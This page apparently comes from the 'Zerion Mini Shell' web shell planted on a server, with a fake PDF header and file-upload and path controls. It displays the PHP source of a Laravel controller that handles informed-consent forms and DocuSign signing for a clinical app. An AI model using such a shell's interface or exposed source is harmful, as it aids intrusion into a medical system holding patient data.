%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/klinisol/klinisol-api/app/Http/Controllers/Api/App/v1/
Upload File :
Create Path :
Current File : /var/www/html/klinisol/klinisol-api/app/Http/Controllers/Api/App/v1/IcdQuestionController.php

<?php

namespace App\Http\Controllers\Api\app\v1;

use App\Http\Controllers\Api\ApiController;
use App\Http\Requests\Api\App\v1\IcdQuestion\SubmitIcdQuestionRequest;
use App\Http\Requests\Api\App\v1\StartSignProcessRequest;
use App\Jobs\SendExceptionToSlack;
use App\Models\BaseModel;
use App\Models\Icd;
use App\Models\IcdAnswer;
use App\Models\IcdSubmission;
use App\Services\ESign;
use App\Transformers\IcdTransformer;
use Barryvdh\DomPDF\Facade as PDF;
use Carbon\Carbon;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Storage;
use Spatie\MediaLibrary\MediaCollections\Models\Media;

class IcdQuestionController extends ApiController
{
    private   $esignApi;

    public function __construct(ESign $esignApi)
    {
        $this->esignApi = $esignApi;
    }

    /**
     * @return \Illuminate\Http\JsonResponse
     */
    public function getAllQuestions()
    {
        $items = Icd::query()
                    ->where('status', Icd::PUBLISHED)
                    ->firstOrFail();
        return $this->item($items, new IcdTransformer());
    }

    /**
     * @param SubmitIcdQuestionRequest $request
     * @return \Illuminate\Http\JsonResponse
     */
    public function submit(SubmitIcdQuestionRequest $request)
    {
        $user = auth()
            ->guard('api')
            ->user();
        $submission = IcdSubmission::query()
                                   ->where('patient_id', '=', $request->get('patient_id'))
                                   ->where('protocol_id', '=', $request->get('protocol_id'))
                                   ->first();
        if ($submission) {
            return $this->wrongArguments([
                'message' => 'Icd is already completed for this patient!',
            ]);

        }
        $icd = Icd::query()
                  ->where('status', Icd::PUBLISHED)
                  ->firstOrFail();
        DB::beginTransaction();
        try {
            $answers = collect($request->get('answers'));
            /** @var IcdSubmission $submission */
            $submission = IcdSubmission::query()
                                       ->create([
                                           'patient_id'   => $request->get('patient_id'),
                                           'protocol_id'  => $request->get('protocol_id'),
                                           'icd_id'       => $icd->id,
                                           'doctor_id'    => $user->id,
                                           'description'  => $request->get('description'),
                                           'extra_fields' => $request->get('extra_fields'),
                                           'status'       => IcdSubmission::ASSIGNED,
                                       ]);

            foreach ($answers->toArray() as $item) {
                IcdAnswer::query()
                         ->create([
                             'icd_question_id'    => $item['icd_question_id'],
                             'icd_submission_id'  => $submission->id,
                             'answer'             => $item['value'],
                             'extra_field_answer' => array_key_exists('extra_field_answer', $item)
                                 ? $item['extra_field_answer']
                                 : null,
                         ]);
            }

            $path = storage_path($submission->id . '.pdf');
            $pdf = PDF::loadView('pdf.icd_questions', [
                'submission'   => $submission,
                'extra_fields' => IcdSubmission::extra_field,
            ]);
            $pdf->save($path);
            $media = $submission->addMedia($path)
                                ->usingName($submission->id . '.pdf')
                                ->usingFileName($submission->id . '.pdf')
                                ->withCustomProperties(['type' => IcdSubmission::FINAL_FORM, 'order' => 0])
                                ->toMediaCollection(IcdSubmission::COLLECTION_NAME, IcdSubmission::DISK);
            DB::commit();
            return response()->json([
                'preview' => base64_encode(file_get_contents(BaseModel::getMediaFinalUrl($media))),
            ], 200);
        } catch (\Exception $e) {
            DB::rollBack();
            return $this->wrongArguments([
                'message' => $e->getMessage(),
            ]);
        }
    }

    public function startSignProcess(StartSignProcessRequest $request)
    {
        $user = auth()
            ->guard('api')
            ->user();
        $icdSubmission = IcdSubmission::query()
                                      ->where('patient_id', $request->get('patient_id'))
                                      ->where('protocol_id', $request->get('protocol_id'))
                                      ->firstOrFail();
        $media = Media::query()
                      ->where('model_type', IcdSubmission::class)
                      ->where('model_id', $icdSubmission->id)
                      ->firstOrFail();

        $data = [
            "emailSubject" => "Please sign the following ICD",
            "status"       => "sent",
            "documents"    => [
                [
                    'documentBase64' => base64_encode(file_get_contents(BaseModel::getMediaFinalUrl($media))),
                    'documentId'     => "1",
                    'fileExtension'  => "pdf",
                    'name'           => "Informed Consent Discussion For '" . $icdSubmission->patient->code . "'",
                    'order'          => "1",
                ],
            ],
            "recipients"   => [
                "signers" => [
                    [
                        "email"        => $user->email,
                        "name"         => $user->fullName(),
                        "recipientId"  => "1",
                        "roleName"     => "Doctor",
                        "routingOrder" => "1",
                        "tabs"         => [
                            "signHereTabs" => [
                                [
                                    "anchorString"             => "Coordinator Signature",
                                    "anchorUnits"              => "pixels",
                                    "anchorXOffset"            => "0",
                                    "anchorYOffset"            => "40",
                                    "anchorIgnoreIfNotPresent" => "false",
                                ],
                            ],
                        ],
                    ],
                ],
            ],
        ];
        try {
            $response = $this->esignApi->createEnvelopes($data);
            $docusign = [
                'envelope_id' => $response->envelopeId,
                'status'      => $response->status,
            ];
            $icdSubmission->model()
                          ->create($docusign);
            $icdSubmission->sent();
            $icdSubmission->status = IcdSubmission::SENT;
            $icdSubmission->save();
            return response()->json(['message' => 'ok'], 200);
        } catch (\Exception $e) {
            dispatch(new SendExceptionToSlack($e->getMessage()));
            return response()->json(['message' => 'Can not create envelopes!'], 400);
        }
    }
}

Zerion Mini Shell 1.0